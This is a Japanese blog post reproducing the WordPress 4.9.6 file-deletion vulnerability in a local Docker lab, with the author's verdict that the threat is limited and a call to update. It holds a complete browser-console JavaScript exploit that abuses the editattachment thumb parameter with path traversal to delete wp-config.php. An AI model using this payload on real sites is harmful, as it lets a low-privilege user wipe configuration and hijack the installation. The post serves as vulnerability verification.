LoginSignup
5
1

More than 5 years have passed since last update.

WordPress 4.9.6の脆弱性を再現確認してみた

Last updated at Posted at 2018-07-12

WARNING: WordPress File Delete to Code Execution
で、動画付きで解説されている話

多分、
『editattachmentアクションの時のthumbパラメータがユーザー入力だけど、ノーチェックでidと結びつくようになってるので、結びつけてやれば、wordpressアプリの権限で触れるところ任意で削除出来るので、wp-config.phpとか削除するとwordpress初期化出来る。
投稿者権限以上でログイン出来るユーザーが攻撃者になりうる。』
って書いてある

環境構築

docker hubのwordpressのものを参考にdocker-compose.ymlを作成

version: '3.1'

services:

  wordpress:
    image: wordpress:4.9.6
    ports:
      - 9000:80
    environment:
      WORDPRESS_DB_PASSWORD: パスワード

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: パスワード

起動

docker-compose up
  1. ブラウザで、localhost:9000にアクセスして、wordpressをセットアップ
  2. セットアップが完了したら、投稿者権限の新規ユーザーを追加
  3. 追加した、投稿者権限のユーザーでログイン

スクリーンショット 2018-07-12 16.53.30.png

再現確認

メディアから新規追加で、画像を追加(この時、ファイル名に日本語を含まないファイルをアップロードする事)

スクリーンショット 2018-07-12 16.54.15.png

メディアの編集画面で、ブラウザの開発者ツールを立ち上げ、コンソールにスクリプトを流す
スクリーンショット 2018-07-12 16.58.34.png

var nonce = document.getElementById("_wpnonce").value
var id =  document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
  var READYSTATE_COMPLETED = 4

  if (this.readyState == READYSTATE_COMPLETED) {
   var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
   var data = "action=delete&_wpnonce=" + nonce

   var xhr = new XMLHttpRequest()
   xhr.open("POST", "/wp-admin/post.php?post=" + id)
   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
   xhr.send(data)
  }
}
xhr.send(data)

あとは、ブラウザ上で適当に遷移すれば、セットアップの最初の画面が出る
スクリーンショット 2018-07-12 17.06.04.png

ファイル名に日本語を含まないファイルをアップロードする件

今回の構築環境のせいなのか、ファイルを削除すると変な状態にはなるものの、wp-config.phpが消えずにハマった

変な状態

以下のように(タイトルなし)というものが表示されるようになるし、wordpressの初期画面出ない
サーバーに入ると、ファイルも残っており消えてなさそう
スクリーンショット 2018-07-12 16.56.54.png

結論

手軽に初期化が出来るものの、投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします。
とはいえ、アップデートすれば治るものですし、必ずアップデートをしましょう。

5
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
1